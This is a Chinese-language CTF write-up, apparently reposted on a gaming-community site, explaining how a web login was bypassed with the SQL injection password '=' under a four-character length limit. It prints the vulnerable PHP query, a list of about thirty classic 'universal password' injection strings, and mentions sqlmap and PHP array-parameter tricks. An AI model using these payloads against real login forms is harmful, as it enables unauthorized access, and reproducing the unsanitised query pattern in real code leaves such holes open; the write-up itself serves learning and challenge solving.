烽火村游戏活动中心

HOME> 玩家社区> CTF中Web密码绕过(特殊的万能密码绕过)详解

CTF中Web密码绕过(特殊的万能密码绕过)详解

2025-10-09 14:50:48

可能做过CTF题的朋友们,都有一定的了解过Web登陆密码绕过这种类型的题目,绕过的方法也有很多,层次不穷,今天帮朋友的时候也遇到了这类型的题目,但是又非常的特别,网络上也是很少见的,特意分享出来一下。

题目:admin的密码非常长,但是有最短的方式绕过。

前台代码:



admin的密码非常长,但是有最短的方式绕过

绕过方法:这里用到的是SQL注入万能密码绕过:用户名为:admin,密码为:'='。

原理:原理就是用的SQL语句的查询注入漏洞。

内部的查询语句:

$sql = “select user from flag where user=’\$_POST[‘user’]’ and password=’\$_POST[‘password’]’”;

输入'=' 后,查询语句为:

$sql = “select user from flag where user=’admin’ and password=’‘=’‘”;

user='admin' 为真,而 password=''='' 也为真。

这样就相当于:

$sql = “select user from flag where 1 and 1”;

这样就爆出了用户,也拿到了flag。

如果题目没有限制用户名,我们也可以 user=''='' ,那样就能 爆出了所有的用户。

谈谈我绕过此题目的整个思路先申明一下,我解题前没有任何的源码?只有一个html页面的form表单,提交到index.php仅此而已。

第一步:先判断漏洞类型?

漏洞类型有很多,例如:xss 、SQL注入、密码学......等等。

我们打CTF时主要是判断此题目的考点方向是什么?

我看了此题目后,首先想到的就是PHP万能密码绕过(SQL注入),例如:

"or "a"="a

"or 1=1--

"or"="

"or"="a'='a

"or1=1--

"or=or"

''or'='or'

') or ('a'='a

'.).or.('.a.'='.a

'or 1=1

'or 1=1--

'or 1=1/*

'or"="a'='a

'or' '1'='1'

'or''='

'or''=''or''='

'or'='1'

'or'='or'

'or.'a.'='a

'or1=1--

1'or'1'='1

a'or' 1=1--

a'or'1=1--

or 'a'='a'

or 1=1--

or1=1--

随意找了几个试了一下,结果以失败告终,提示“so Long",意思就是太长了。

同时,在这个步骤的时候,我也用 sqlmap 跑了一下表单post注入 ,结果提示是没有注入。

sqlmap没有注入只有两种情况:

1、真的是没有任何注入。

2、SQL语句写得非常好,其实也有注入漏洞,只是扫描不到而已。例如:

$sql = "INSERT INTO `test`.`users` (`id`, `username`, `password`) VALUES (NULL, \'fujieace\', \'123456\');";

第二步:判断密码允许输入的长度?

经过我输入用户名 admin,密码 123456789 不断的尝试,我发现一个问题,密码的长度只能4位及以下才不会报错,只要大于4位就会提示“so long"。

第三步:PHP sha1 md5绕过

由于我上面跑了sqlmap,先入为主的认为了没有SQL注入,既然是密码绕过,首先:我猜测是PHP MD5真等于和数值绕过,结果我试了,根本没有生成 4位 的字符串。说明姿势不对。

然后,我又猜测是PHP中sha1()函数和md5()函数的绕过,通过抓包以 user[]=admin&passwd[]=2 数组的方式去绕过,这下密码字符串都在 4位 以下了,结果给我报错如下:

Warning: addslashes() expects parameter 1 to be string, array given in /var/www/html/index.php on line 20

Warning: strlen() expects parameter 1 to be string, array given in /var/www/html/index.php on line 22

中文翻译

警告:addslashes()期望参数1为字符串,在第20行的/var/www/html/index.php中给出的数组

警告:strlen()期望参数1为字符串,在第22行的/var/www/html/index.php中给出的数组

说明姿势依然不对,经过我反复的尝试,我发现此代码的用户名和密码只允许字符串。

而且用户名用了addslashes()过滤,密码似乎没有用,因为我这里给密码传一个数组的时候,密码警告只有strlen();

第四步:综合分析

用户名是:admin,这是写死的。

密码只能是:等于小于4位,而且必须是字符串。

考点是:最短的方式绕过admin的密码。

再加上sqlmap扫描不到漏洞,说明sql语句写法很特别,估计还是SQL注入漏洞。其它的漏洞类型似乎也不符合这。

那就,只有一种很不常用的密码绕过方法:'='

最新发表
友情链接